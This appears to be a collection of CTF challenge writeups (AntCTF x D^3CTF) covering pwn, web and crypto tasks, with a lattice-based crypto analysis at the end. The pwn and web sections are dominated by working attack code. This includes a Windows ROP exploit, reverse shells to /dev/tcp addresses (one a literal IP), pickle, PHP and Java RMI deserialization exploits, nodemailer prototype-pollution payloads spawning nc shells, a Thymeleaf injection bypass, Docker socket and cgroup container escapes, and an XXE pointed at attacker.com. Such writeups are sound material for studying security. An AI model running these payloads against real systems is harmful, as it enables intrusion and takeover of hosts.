        stack = myread(teb) 
        success('stack:'+hex(stack))
        ret = stack + 4
        print('[*] search return addr')
        while 1:
            if myread(ret) == cbase+0x18be:
                success('ret:'+hex(ret))
                break
            ret += 4
    elif version == '2004':
        kernel32 = myread(cbase+0x5024) - 0x19910
        ucrtbase = myread(cbase+0x50f4) - 0x31980
        success('kernel32:'+hex(kernel32))
        success('ucrtbase:'+hex(ucrtbase))
        ntdll = myread(kernel32+0x81BF0) - 0x40CC0
        success('ntdll:'+hex(ntdll))
        peb = myread(ntdll+0x125D34) - 0x44
        if peb == 0:
            peb = myread(ntdll+0x125D34+2)<<16
        success('peb:'+hex(peb))
        test = myread(peb+4)
        teb = peb + 0x3000
        stack = myread(teb) 
        success('stack:'+hex(stack))
        ret = stack + 4
        print('[*] search return addr')
        while 1:
            if myread(ret) == cbase+0x18be:
                success('ret:'+hex(ret))
                break
            ret += 4
    elif version == '1909':
        kernel32 = myread(cbase+0x5024) - 0x1F4D0
        ucrtbase = myread(cbase+0x50e8) - 0x2EDB0
        success('kernel32:'+hex(kernel32))
        success('ucrtbase:'+hex(ucrtbase))
        ntdll = myread(kernel32+0x81B54) - 0x3FCB0
        success('ntdll:'+hex(ntdll))
        peb = myread(ntdll+0x11DC54) - 0x44
        if peb == 0:
            peb = myread(ntdll+0x11DC54+2)<<16
        success('peb:'+hex(peb))
        test = myread(peb+4)
        teb = peb + 0x3000
        stack = myread(teb) 
        success('stack:'+hex(stack))
        ret = stack + 0x50#6C 70
        print('[*] search return addr')
        while 1:
            print('[*] search %#x'%ret)
            if myread(ret) == cbase+0x18be:
                success('ret:'+hex(ret))
                break
            ret += 4
    system = ucrtbase + 0xED060#0xEC730
    rop = p32(system) + p32(0xdeadbeef) + p32(ret+0x10) + p32(0)
    rop+= b'cmd.exe\x00'
    mywrite(ret,rop)
    sla(':','-1')
    sla('C:\dheap>','type c:\\flag\\flag.txt')
    success('success %d times'%times)

cn.interactive()

狡兔三窟

智能指针误用造成指针悬垂

在NoteStorageImpl::backup中可以看到如下操作,对智能指针使用get后使用此指针新建一个对象NoteDBImpl

    v2 = std::unique_ptr<NoteImpl,std::default_delete<NoteImpl>>::get(this);
    std::make_unique<NoteDBImpl,NoteImpl *>(&v3, &v2);

而该对象的构造函数又在类属性中保存了该指针

    v2 = *(NoteImpl **)std::forward<NoteImpl *>(a2);
    v3 = (NoteDBImpl *)operator new(0x10uLL);
    NoteDBImpl::NoteDBImpl(v3, v2);

//NoteDBImpl::NoteDBImpl(a1,a2)
    NoteDBImpl *result; // rax
    *(_BYTE *)this = 0;
    result = this;
    *((_QWORD *)this + 1) = a2;
    return result;

此时调用NoteStorageImpl::delHouse,reset智能指针后,NoteDBImpl中保存的便是一个悬垂指针

将悬垂指针所指内存用vector申请回来

简单调试即可发现释放的对象大小为0x350

gef➤  heap bins
───────────────────── Tcachebins for arena 0x7ffff782ec40 ─────────────────────
Tcachebins[idx=0, size=0x20] count=2  ←  Chunk(addr=0x55555576e200, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x55555576e1e0, size=0x20, flags=PREV_INUSE) 
Tcachebins[idx=51, size=0x350] count=1  ←  Chunk(addr=0x55555576de90, size=0x350, flags=PREV_INUSE)

调用NoteStorageImpl::editHouse可通过vector申请内存,而vector在gcc编译下的内存申请机制为超出当前capacity就再申请当前size的两倍。
此时直接输入大量字符扩展vector是无法申请到0x350的堆块的。

进一步逆向可发现NoteStorageImpl::saveHouse提供了shrink_to_fit功能,此时通过简单计算既可得到正确申请方式,即0x342/8=0x68,第一次申请0x68后调用shrink_to_fit即可控制vector大小为0x68,再加入三次0x68个字符后,最后add一个字符即可申请到0x350的堆块。

泄露地址&获得shell

申请到0x350的堆块后,经过查看释放的对象内存即可发现其中残留着gift信息,即堆地址和libc地址,

0x55555576de80:    0x000055555576edd0    0x0000000000000351
0x55555576de90:    0x0000000000000000    0x0000000000000000
0x55555576dea0:    0x000055555576e200    0x000055555576e200
0x55555576deb0:    0x000055555576e205    0x0000000000000000
...
0x55555576e030:    0x000055555576e1e0    0x000055555576e1e0
0x55555576e040:    0x000055555576e1e5    0x00007ffff74da0e0 //此处可泄露libc以及堆地址
0x55555576e050:    0x0000000000000000    0x0000000000000000

调用NoteStorageImpl::show即可泄露对应信息,此处注意NoteStorageImpl::show只能在智能指针reset后调用,此时虚表已经清零,调用printf是无法打印任何信息的,因此需要先申请堆块到这里填充非0字节才可以泄露处在堆块中部的地址信息。

最后覆盖vtable地址为当前堆块,并在vtable写入one,再调用NoteStorageImpl::encourage调用虚表函数即可shell。

exp:https://github.com/sadmess/easy_cpp

 

Web

shellgen

首先访问可以看到部分源码,发现在运行提交的 python jio本的时候使用的token拼接到了一个目录名上

且直接挂载进了跑python脚本的容器

结合/result处(以及源码各个位置都在暗示的)目录结构:

这样我们能通过控制token为../templates将整个模版目录挂载到python脚本的运行环境中。我们可以向模版目录下的一个子目录写一个result.html

subdir = '?'
pld.post(host + '/submit', data={
    'token': '../templates/' + subdir,
    'code': f'''
import os
with open('/opt/result.html', 'w') as f:
    f.write("""{payload}""")
'''.strip()
})
for _ in range(10):
    res = pld.get(host + '/result').text
    if res: break
    time.sleep(1)

于是我们就能控制result.html中的内容了。。么?怎么500 Internal Server Error了?
如果有人愿意本地调试一下的话,就会发现jinja爆的错误是TemplateNotFound,我们看到jinja的FileSystemLoader中写道:

def split_template_path(template):
    """Split a path into segments and perform a sanity check.  If it detects
    '..' in the path it will raise a `TemplateNotFound` error.
    """
    ...
...
def get_source(self, environment, template):
    pieces = split_template_path(template)
    ...

所以我们需要用另外一个session来触发新写入的result.html的渲染

​```python
subdir = 'qwq'
pld.post(host + '/submit', data={
    'token': '../templates/' + subdir,
    'code': f'''
import os
with open('/opt/result.html', 'w') as f:
    f.write("""{payload}""")
'''.strip()
})
ses = session()
ses.post(host + '/submit', data={'token': subdir, 'code', ''})
for _ in range(10):

    res = ses.get(host + '/result').text
    if res: break
    time.sleep(1)

此时由于我们上面的代码先提交到了队列里,会先于后提交的代码执行,这一点也在给出的部分源码中进行了暗示:

def poll():
    ...
    if queue.empty():
        return
    job = queue.get()
    thread = Thread(target=evaluate, args=[job['token'], job['code']])
    thread.start()
...
scheduler.add_job(id='executor', func=poll, trigger="interval", seconds=10)
# 每十秒仅取出一项任务运行

实际上在题目环境中,如果提交空代码的话,会赋值session['token']而不会添加新的执行任务,本意也是为了方便多次跑脚本

所以正常情况下(你的脚本不至于屑到10秒都跑不完的情况下)用新session访问result接口会先看到你自己写进去的模版。由于缓存的缘故,我们需要不断换subdir。

接下来先随便构造一个模版。

我自己的话先选择了写一个小代理,类似这样:

{% set socket=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("socket") %}
{% set s=socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) %}
{% set n=s.connect("/var/run/docker.sock") %}
{% set n=s.sendall("{request}".encode()) %}
{{ s.recv(81920) }}
#.replace('}\n', '}').strip().replace('{request}', request)

完整的代理脚本

这样就可以像DOCKER_HOST=localhost:9999 docker info这样执行一些基础命令了。我们之所以能这么干是因为docker API本质上是基于HTTP设计的,传输过程无状态。

不过我们会发现像docker run这样的命令需要升级为双向连接,这样就干不了了,于是我们可以搞回来一个shell用用。我们把docker-cli和docker.sock搞进来,方便进一步操作宿主机。虽然题目容器本身没有外网,但是宿主机还是有外网的:

{% set docker=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("docker") %}
{% set s=docker.DockerClient() %}
{{ s.containers.run("ubuntu", "bash -c 'exec bash -i &>/dev/tcp/47.94.169.118/1234 <&1'", mounts=[docker.types.Mount(
        type='bind',
        source="/var/run/docker.sock",
        target="/var/run/docker.sock",
    ),docker.types.Mount(
        type='bind',
        source="/usr/bin/docker",
        target="/usr/bin/docker"
    )]
) }}

等等,为什么permission denied?
这时候就应该进一步进行信息搜集。我们看一眼docker info

Server:
 Containers: 2
  Running: 0
  Paused: 0
  Stopped: 2
  ...
 Server Version: 20.10.5
 Security Options:
  seccomp
   Profile: default
  rootless # 注意这里
  ...
 Kernel Version: 5.4.0-66-generic
 Operating System: Ubuntu 20.04.2 LTS
 Docker Root Dir: /home/d3ctf/.local/share/docker # 还有这里

这里应该给个hint的。。

关于docker-rootless的更多信息请参考https://docs.docker.com/engine/security/rootless/
简而言之,映射到题目容器的docker.sock对应的dockerd是一个低权限用户d3ctf启动的。宿主机上d3ctf用户的完整权限通过rootlesskit利用namespacing映射到了docker容器内的root权限,所以即便你拥有了完整控制dockerd的root权限,在宿主机也会被映射到d3ctf用户的权限。有一定了解之后我们将/var/run/docker.sock改为映射/var/run/user/1000/docker.sock进容器

之后就是拿宿主机的交互shell了。说实话这里我也没有找到太好的办法,我自己的话是先curl ip.sb拿到公网ip,在/home/d3ctf/.ssh/authorized_keys下写好自己的公钥,然后ssh连。不过由于比赛中我是把flag放在了d3ctf.dockerd启动的一个容器里,也有的队伍直接把flag容器拖走了,倒也不是不彳亍。这个flag容器也是挺有意思的,它的Dockerfile长这样:

FROM gcc AS builder

COPY getflag.cpp getflag.cpp
COPY sleep.cpp sleep.cpp
RUN g++ getflag.cpp -o getflag -static
RUN g++ sleep.cpp -o sleep -static

FROM scratch
COPY --from=builder getflag /getflag
COPY --from=builder sleep /sleep
CMD ["/sleep"]

所以即使拿到了宿主机shell,也得分析分析这个镜像里都有些啥才能getflag

本题想表达的有以下几点:

  1. 在获取到部分源码时将其补全并在本地搭建最小环境,进行测试
  2. docker.sock都能干些啥,docker rootless都能干些啥
  3. 在能控制docker.sock时如何逃逸到宿主机(而不是别的容器),尤其是rootless dockerd(root dockerd可以docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host,rootless不行)
  4. 如何审没有任何shell命令的容器(FROM scratch

Pool Calc

题目考点

  • web_app
    • 命令拼接RCE
  • java_calc
    • Java RMI反序列化RCE(Java 8u221)
    • 命令执行反弹shell
  • py_calc
    • Pyinstaller逆向
    • Pickle反序列化RCE
  • php_calc
    • swoole 反序列化利用链

web_app

from urllib.parse import quote
import requests


def get_shell(serverip, serverport):
    ip = "attacker ip"
    port = ""
    cmd = "/bin/bash -c \"bash -i >& /dev/tcp/{}/{} 0>&1\"".format(ip, port)
    url = "http://{}:{}/calc?language=python&action=add&a=1&b=1".format(serverip, serverport)
    url = url + quote("||" + cmd + "||")
    requests.get(url)


if __name__ == '__main__':
    ip = "127.0.0.1"
    port = "3000"
    get_shell(ip, port)

py_calc

import pickle
import os
import socket
import sys


class A(object):
    def __reduce__(self):
        ip = "attacker ip"
        port = ""
        cmd = "/bin/bash -c \"bash -i >& /dev/tcp/{}/{} 0>&1\"".format(
            ip, port)
        return (os.system, (cmd,))


def gen_payload():
    a = A()
    payload = pickle.dumps(a)
    return payload


def send_payload(payload):
    ip = "py_calc"
    port = 8080
    address = (ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        s.sendall(payload)
    except Exception:
        s.close()
    finally:
        s.close()


if __name__ == '__main__':
    payload = gen_payload()
    send_payload(payload)

php_calc

Handlep.php

  • patch handler.php
<?php
// gen_payload.php
include "Handlep.php";

function gen_payload($cmd)
{

    $o = new Swoole\Curl\Handlep("http://www.baidu.com/");
    $o->setOpt(CURLOPT_READFUNCTION, "array_walk");
    $o->setOpt(CURLOPT_FILE, "array_walk");
    $o->exec = array($cmd);
    $o->setOpt(CURLOPT_POST, 1);
    $o->setOpt(CURLOPT_POSTFIELDS, "aaa");
    $o->setOpt(CURLOPT_HTTPHEADER, ["Content-type" => "application/json"]);
    $o->setOpt(CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);

    $a = serialize([$o, 'exec']);

    $payload = str_replace("Handlep", "Handler", $a);

    return urlencode($payload);

}

$ip = "attacker ip";
$port = "";
$cmd = "/bin/bash -c \"bash -i >& /dev/tcp/".$ip."/".$port." 0>&1\"";

$payload = gen_payload($cmd);

file_put_contents("payload.txt", $payload);

java_calc

  • 8u221 RMI 反序列化RCE
  • ysoserial 启动JRMPCLient
  • java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "cmd"
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.IOException;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class exp {
        public static void main(String[] args) throws Exception {
                ObjID id = new ObjID(new Random().nextInt());
                TCPEndpoint te = new TCPEndpoint("web_app", 3333); // JRMPListener's port is 3333
                UnicastRef ref1 = new UnicastRef(new LiveRef(id, te, false));
                RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref1);
                Registry proxy = (Registry) Proxy.newProxyInstance(exp.class.getClassLoader(),
                                new Class[] { Registry.class }, obj);

                Registry registry_remote = LocateRegistry.getRegistry("java_calc", 8080);

                Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
                fields_0[0].setAccessible(true);
                UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);


                Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
                fields_1[0].setAccessible(true);

                java.rmi.server.Operation[] operations = (java.rmi.server.Operation[]) fields_1[0].get(registry_remote);

                RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(proxy);
                ref.invoke(var2);

                registry_remote.lookup("add");
        }
}

其它姿势(学到了学到了\^_\^)

  • py_calc
    • 运行client发包到自己服务器获取pickle数据
  • java_calc
    • attackRmi
    • ysomap

8-bit pub

登入admin

通过简单的审计,发现要登入管理员端,需要用户名为admin
定位到数据库的操作代码

注意到这里的查询语句使用了占位符的写法,是没法进行直接的注入的
但是通过阅读node mysql库的文档,可以发现,当传入的变量为Object时,参数会被转化成`key` = value的格式拼入
那么就可以利用这点构造出{"username":"admin", "password":{"username": true}}的参数,这里只要传入对象的key值为表中存在的一列即可,那么sql语句变为SELECT * FROM users WHERE username = 'admin' AND password = `username` = true,也就是说构造出了一个万能密码

原型链污染

登入admin后可以发邮件,通过审计发邮件处的代码,留意到这里使用了一个名为shvl的库进行赋值

前段时间这个库爆过原型链污染,在最新的版本中作者已经修复,但是看修复代码可以发现

作者的修复仅仅是过滤了__proto__属性,我们用constructor.prototype仍可进行污染,可以直接污染到Object类

RCE

接下来对nodemailer的rce就有两种方法了

首先是较多队伍采用的,控制args变量的方法

通过阅读源码发现,nodemailer里有一出调用系统命令sendmail发送邮件的代码

其args参数依次来自

而这里,我们只要对Object.args进行污染,就可以控制到最终执行系统命令的参数

同时,题目中采用的是默认的smtp的transport,要让执行流程进入sendmail命令的逻辑,还需要污染Object.sendmail为true

payload为:

{
  "constructor.prototype.path": "/bin/sh",
  "constructor.prototype.args": [
    "-c",
    "nc ip port -e /bin/sh"
  ],
  "constructor.prototype.sendmail": true
}

这里有些队伍没有反弹shell,直接把/readflag的输出结果写到/tmp目录下,然后用发邮件附件的方式带出,形如
{"to":"i@example.com","subject":"flag","attachments":[{"filename":"flag.txt","path":"/tmp/xxxx"}
这样也比较有趣

另一种做法是安全员研究员posix提出的,对环境变量进行污染,以实现rce的做法:
https://blog.p6.is/Abusing-Environment-Variables/

阅读child_process的代码:https://github.com/nodejs/node/blob/master/lib/child_process.js#L502 可以发现,如果我们同时污染shellenv两个变量,就可以通过一些系统命令的环境变量来rce
比如较为常用的NODE_DEBUG环境变量,pyload为:

{
  "constructor.prototype.env": {
    "NODE_DEBUG": "require('child_process').execSync('nc ip port -e /bin/sh')//",
    "NODE_OPTIONS": "-r /proc/self/environ"
  },
  "constructor.prototype.sendmail": true,
  "constructor.prototype.shell": "/bin/node"
}

Happy_Valentine’s_Day

定位是一道愉悦身心的签到题,就是绕waf那里稍微麻烦一些qaq可能题目出得不清楚让师傅们误会了
首先由网站logo可判断题目用的是spring框架,也就是本题后端是用 Java 写的。

做题思路

在登录框中输入账号密码后,转到/love页面后,在源码中找到/1nt3na1_pr3v13w访问即可。
试过后可以发现在content处输出首页name处输入的name

就比较像模版注入了
根据已知信息和漏洞点,可以快乐的google到可以使用的payload,从而快乐的签到。
在name处输入[[${7*7}]]/1nt3na1_pr3v13w可以发现content处输出为49。
但此处需要绕waf

    private boolean filter(String name) {
        String blacklist = ".*(java\\.lang|Process|Runtime|exec|org\\.springframework|org\\.thymeleaf|javax\\.|eval|concat|write|read|forName|param|java\\.io|getMethod|String|T\\(|new).*";
        return Pattern.matches(blacklist, name);
    }
}

由于太菜了还把正则写错了,被师傅们用换行符绕过了?
因此这道题主要就是发现注入方法后利用java反射绕waf。
payload:

name=[[${#request.getClass().getClassLoader().loadClass(#request.getParameterValues(#request.class.BASIC_AUTH[0])).getDeclaredMethod(#request.getParameterValues(#request.class.BASIC_AUTH[1]),#request.getParameterValues(#request.class.BASIC_AUTH[0])[0].class).invoke(#request.getClass().getClassLoader().loadClass(#request.getParameterValues(#request.class.BASIC_AUTH[0])).getDeclaredMethods()[7].invoke(null),#request.getParameterValues(#request.class.BASIC_AUTH[2])[0])}]]&password=1

GET:

?B=java.lang.Runtime&A=exec&S=%2Fbin%2Fbash%20-c%20bash%24%7BIFS%7D-i%24%7BIFS%7D%3E%26%2Fdev%2Ftcp%2Fxx.xx.xx.xx%2F8888%3C%261

ls -al后发现/flag文件只有root用户可读,考虑提权。

查看sudo信息后发现完美契合CVE-2021-3156所需要求
用这个exp即可https://github.com/blasty/CVE-2021-3156
最后,前端在这里

real_cloud_storage

分析

题目主体形式是后端上传文件到 OSS,很容易想到的可能是去尝试攻击 OSS 的 Server 端、鉴权方式。但是其实 OSS 的 SDK 也可能存在安全问题,在用户不谨慎的情况下就可能会影响到用户侧的安全。

有限的SSRF

题目中开发者将 OSSClient 需要使用的endpointbucketkey等参数都通过前端传进来:

{
  "endpoint":"oss.cloud.d3ctf.io",
    "key":"test",
    "bucket":"bucket102638",
    "file":"MTIzMTIzMTIzMQ=="
}

那么首先这里就存在一个SSRF漏洞,我们可以设置endpointbucket为我们要发送请求的地址:

{
  "endpoint":"target.com"
    "key":"index.php",
    "bucket":"www",
    "file":"MTIzMTIzMTIzMQ=="
}

发送到自己的服务器上可以看到这样的请求:

Listening on [0.0.0.0] (family 0, port 10080)
Connection from [8.210.87.229] port 10080 [tcp/amanda] accepted (family 2, sport 38738)
PUT /index.php HTTP/1.1
Host: target.com
Authorization: NOS d3ctf:Aa7GW+kNlOEtMOZQ3TVW5Zdd+c0=
Date: Mon, 08 Mar 2021 14:23:52 UTC
Content-Type: application/octet-stream
Content-Length: 10
Connection: Keep-Alive
User-Agent: nos-sdk-java/1.2.2 Linux/4.15.0-135-generic OpenJDK_64-Bit_Server_VM/25.212-b04
Accept-Encoding: gzip,deflate

1231231231

当然,因为没有回显,这个SSRF的作用暂时相对有限。因此我们可以寻找进一步的利用。

代码审计:SSRF->XXE

从请求的User-Agent中我们可以看到这个 OSS SDK 使用的是网易云的 nos-sdk-java/1.2.2。可以在Github上找到源码

对源码进行审计,因为我们是上传文件,所以重点关注putObject操作过程中是否存在安全问题。

这里到了另一个不容易想到的地方。我们很容易都会去寻找通过控制NOSclient.putObject方法在处理我们传入的参数的过程中有哪里可以造成漏洞。然而很容易忽略的一个可控点是,SSRFresponse也是一个可控点。

而在 OSS 中,Client 和 Server 的交互协议遵守 AWS S3 协议,并基于SOAP。那么有可能出现的一个问题就是 XXE

nos-sdk-java正存在这个问题。当其处理 Server 返回的异常响应时,直接解析了 Body 中的 XML,而没有禁用外部实体:

//com/netease/cloud/services/nos/internal/NosErrorResponseHandler.java line 28

public ServiceException handle(HttpResponse errorResponse) throws Exception {
        /*
         * We don't always get an error response body back from Nos. When we
         * send a HEAD request, we don't receive a body, so we'll have to just
         * return what we can.
         */
        if (errorResponse.getContent() == null) {
            String requestId = errorResponse.getHeaders().get(Headers.REQUEST_ID);
            NOSException ase = new NOSException(errorResponse.getStatusText());
            ase.setStatusCode(errorResponse.getStatusCode());
            ase.setRequestId(requestId);
            fillInErrorType(ase, errorResponse);
            return ase;
        }

        Document document = XpathUtils.documentFrom(errorResponse.getContent());
        String message = XpathUtils.asString("Error/Message", document);
        String errorCode = XpathUtils.asString("Error/Code", document);
        String requestId = XpathUtils.asString("Error/RequestId", document);
        String resource = XpathUtils.asString("Error/Resource", document);

        NOSException ase = new NOSException(message);
        ase.setStatusCode(errorResponse.getStatusCode());
        ase.setErrorCode(errorCode);
        ase.setRequestId(requestId);
        ase.setResource(resource);
        fillInErrorType(ase, errorResponse);

        return ase;
    }

到这里利用方式就很清晰了:

{
  "endpoint":"attacker.com"
    "key":"xxe.php",
    "bucket":"www",
    "file":"MTIzMTIzMTIzMQ=="
}

在自己的服务器上启动一个返回异常状态码的服务,输出 XXE的 payload 即可。

参考链接

出题思路参考链接:https://github.com/IBM/ibm-cos-sdk-java/issues/20

real_cloud_serverless

分析

拿到第一步的 Flag 的同时会收到 Hint:only cluster admin could see the next flag。我们知道题目的后端部署于serverless环境, 结合该Hint,可以猜出是要攻击 kubernetes集群,成为cluster-admin

信息收集

kubernetes有一定了解的话,自然会想到通过XXE读取 var/run/secrets/kubernetes.io/serviceaccount 目录下的关键文件。

读取var/run/secrets/kubernetes.io/serviceaccount/namespace可以发现当前集群的命名空间是fission-function。通过搜索可以发现fission是一个开源的基于k8sserverless 框架。

那么接下来的目标就比较明确了,尝试寻找fission的安全问题,进而控制集群。

Fission初探

通过查看文档、部署测试、查看源码等方式可以快速了解fission的基础使用方法,这里我们介绍两个最基本的:

# 使用 fission/python-env 镜像创建名为 python 的 environment
fission env create --name python --image fission/python-env

# 创建一个名为 hello_world、代码为 code.py 的函数,函数运行在上面创建的 python 环境
fission fn create --name hello_world --env python --code name.py

运行完上面两条命令后,fission会通过k8s调度,创建函数对应的Docker容器。

同样通过文档,我们可以了解到fission的基本架构:

可以看出,我们上面使用fission客户端进行创建资源的请求,都是发送到fission-controller进行处理,进而进行下一步调度,而客户端和fission-controller的交互是通过REST API进行的。

利用Fission的安全问题完成攻击

通过测试发现,fission-function容器与fission-controller之间默认并没有网络隔离: 在fission-function容器中,我们只需要按照service.namespace这种k8s默认的跨命名空间访问服务的方式,访问controller.fission,即可访问到fission-controller服务:

而更严重的是fission-controller默认是未鉴权的!

也就是说,如果我们可以控制fission-function容器发送请求,就可以通过请求fission-controller来实现对fission的控制。

而我们现在刚好有两个不同的SSRF,第一个是我们最开始说的NOS Client参数可控导致的SSRF,这个SSRFPUT请求,PathBody内容可控,但是没有回显。

第二个是我们可以通过XXE进行GET请求的SSRF,并通过外带的方式获得响应的Body

那么我们接下来就可以查看fission-controllerAPI 文档,看看如何利用这两个SSRF

上面说了fission-controller使用REST API,那么PUT请求就可以对fission的资源进行更新操作。但这里有一个问题,fission-controller要求请求的 Bodyjson 格式,可是我们并没有办法控制请求的Header,NOS Client发出的请求的 Content-Typeapplication/octet-stream。那么我们还可以利用这个SSRF更新资源吗?答案是肯定的,fission-controller在这里的实现并不严谨,完全无视了Content-Type头,而是直接将请求的Body进行json解码:

结合文档和实际测试可以发现,要对fission的资源进行更新,需要获得被修改资源的名字和两个不确定的参数:uuidgeneration,而这些都需要通过的GET请求的SSRF来获取。

那么我们可以通过这两个SSRF的搭配使用,相互补充,完成fission资源的更新。接下来我们就需要进一步尝试,在可以控制fission的资源的情况下,如何进一步攻击k8s集群。

同过查看官方文档fission-controllerAPI 文档,可以发现最简单的方法就是修改environments,因为通过environmentsspec字段,我们可以设置Docker容器的SecurityContextPrivileged属性:

"spec": {
  "version": 2,
  "runtime": {
    "image": "",
    "podspec": {
      "containers": [
        {
          "name":"",
          "image": "",
          "command": [],
          "securityContext": {
            "privileged": true            
          }
        }
      ]
    }
},

这使得我们可以直接通过特权容器进行逃逸,控制宿主机,也就是k8s node

至此我们的攻击思路已经很清晰了,整理一下:

  1. 通过XXE访问controller.fission/v2/environments,获得当前集群中所有的fission-environments资源的信息。
  2. 在上面获得的environments列表中选择一个进行修改,编辑其json数据中对应的spec字段:将容器特权化,执行逃逸脚本、反弹宿主机的反弹shell:
     "kind": "Environment",
      "apiVersion": "fission.io/v1",
      "metadata": {...},
      "spec": {
        "version": 2,
        "runtime": {
          "image": "fission/jvm-env",
          "podspec": {
            "containers": [
              {
                "name":"hack",
                "image": "fission/jvm-env",
                "command": [
                  "/bin/sh",
                  "-c",
                  "echo -n 'bWtkaXIgLXAgL3RtcC9jZ3JwOyBtb3VudCAtdCBjZ3JvdXAgLW8gbWVtb3J5IGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgLXAgL3RtcC9jZ3JwL2hhY2tlZAplY2hvIDEgPiAvdG1wL2NncnAvaGFja2VkL25vdGlmeV9vbl9yZWxlYXNlCmhvc3RfcGF0aD1gc2VkIC1uICdzLy4qXHBlcmRpcj1cKFteLF0qXCkuKi9cMS9wJyAvZXRjL210YWJgCmVjaG8gIiRob3N0X3BhdGgvY21kX2ZyciIgPiAvdG1wL2NncnAvcmVsZWFzZV9hZ2VudAplY2hvICcjIS9iaW4vc2gnID4gL2NtZF9mcnIKZWNobyAiYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vMTAwODAgMD4mMScgICIgPj4gL2NtZF9mcnIKY2htb2QgYSt4IC9jbWRfZnJyCnNoIC1jICJlY2hvIFwkXCQgPiAvdG1wL2NncnAvaGFja2VkL2Nncm91cC5wcm9jcyI=' | base64 -d | sh"
                ],
                "securityContext": {
                  "privileged": true            
                }
              }
            ]
          }
        },
        "poolsize": 3,
        "keeparchive": true
      }
    
  1. 将上述对象的json代码信息base64编码,通过PUT请求的SSRF发送到controller.fission/v2/environments/{选择的env名字},完成攻击,坐等宿主机shell到手:

那么现在还剩下最后一个问题,我们现在只是有了一台node节点的权限,上面只有fission的一些服务,如何成为cluster-admin呢?

这就又要得益于fission的又一个安全隐患——未遵循最低权限原则fission-controller使用的ServiceAccountfission-svc,绑定了cluster-admin的权限:

---
# Source: fission-all/templates/deployment.yaml
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: fission-crd
subjects:
- kind: ServiceAccount
  name: fission-svc
  namespace: fission
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
---

因此我们只要获取到fission-controller容器内的var/run/secrets/kubernetes.io/serviceaccount/token文件即可成为cluster-admin

Flag在集群的secrets里:

总结

最近在学习云安全相关的知识,感觉CTF里出现云相关的东西还是比较少的,于是就出这了两道题目,近期的两个感受也可以从题目中体现:

  1. 针对云组件的安全要求要更加严格,因为云的用户数量大,一个组件即使是仅仅存在利用条件很苛刻的安全风险,受影响的用户数量也可能会很大。
  2. 云服务的默认安全很重要,如果服务默认的使用方法就存在安全风险,那么就一定会导致安全事件。

non RCE?

见:AntCTF x D^3CTF [non RCE?] Writeup

 

Crypto

babyLattice & simpleGroup

In these two challenges, we are given a public key scheme based on integer factorization. In the first task, we can directly retrieve the plaintext from ciphertext, while the second task require a key-recovery attack.

overview of the cryptosystem

The secret key contains the factorization of a RSA modulus $n$ ($1024$ bits) and a rank-2 matrix $A$ with small entries ($\approx 100$ bits). To generate the public parameter $b$, we lift each column to $\mathbb{Z}/n\mathbb{Z}$ with CRT, denoted as $a_1$, $a_2$, and compute $b$ as $b := a_1 * a_2^{-1} \pmod{n}$.

A = \left(\begin{matrix}a{11} &a{12} \ a{21} &a{22}\end{matrix}\right) \

To encrypt a message $m$ at most $400$-bit, randomly choose a 400-bit integer $r$, and ciphertext $c$ is computed as $c := bm + r \bmod{n}$.

The decryption is based on the fact that the value of $a2 c \equiv a{1i}m + a{2i}r$ is small, then, with knowing the factorization and secret matrix $A$ we can solve it over integers.

a_2c \bmod p = a
{11}m + a_{12}r < p

plaintext-recovery attack

Notice that we also have $a_2c \equiv a_1m + a_2r \pmod{n}$, if we could find a smaller equivalent $a_i’$ such that $b = a_1’ / a_2’ \bmod n$, then the equation $a_2c \bmod n = a_1’m + a_2’r$ may hold on $\mathbb{Z}$.

This can be easily solved by LLL algorithm with basis

M = \left(\begin{matrix}1 &b\0&n\end{matrix}\right),

since $(a_2’, -k) \cdot M = (a_2’, a_1’)$.

The result of reduction with elements of approximately 512-bit may have different signs, but it doesn’t matter.

M = Matrix(ZZ, [
    [1, b],
    [0, n]
])
B = M.LLL()
aa2, aa1 = B[0] # ~ 512 bits
# aa2 < 0 < aa1

# aa2 * c % n = aa1*m - (-aa2)*r
s = c * aa2 % n
m = s * inverse_mod(aa1, -aa2) % (-aa2)

There are other unintended solutions, mainly based on the following method:

From the encryption, we can derive that $f(m, r) = bm+r-c \equiv 0 \pmod{n}$. Since $m r < n$, a lattice reduction over $3$-rank basis works.

key-recovery attack

If we go back to the key generation, we obtain

a{12}b – a{11} \equiv 0 \pmod{p} \
a{22}b – a{21} \equiv 0 \pmod{q}

Multiply them, we’ll get a quadratic polynomial

F(x) = (a{12}x – a{11})(a{22}x-a{21})

over $\mathbb{Z}/n\mathbb{Z}$ with one root equals to $b$. Suppose $F(x) = c_2x^2 + c_1x + c_0$, since $c_i$ is small enough, we can build a lattice with $F(b) \equiv 0 \pmod{n}$:

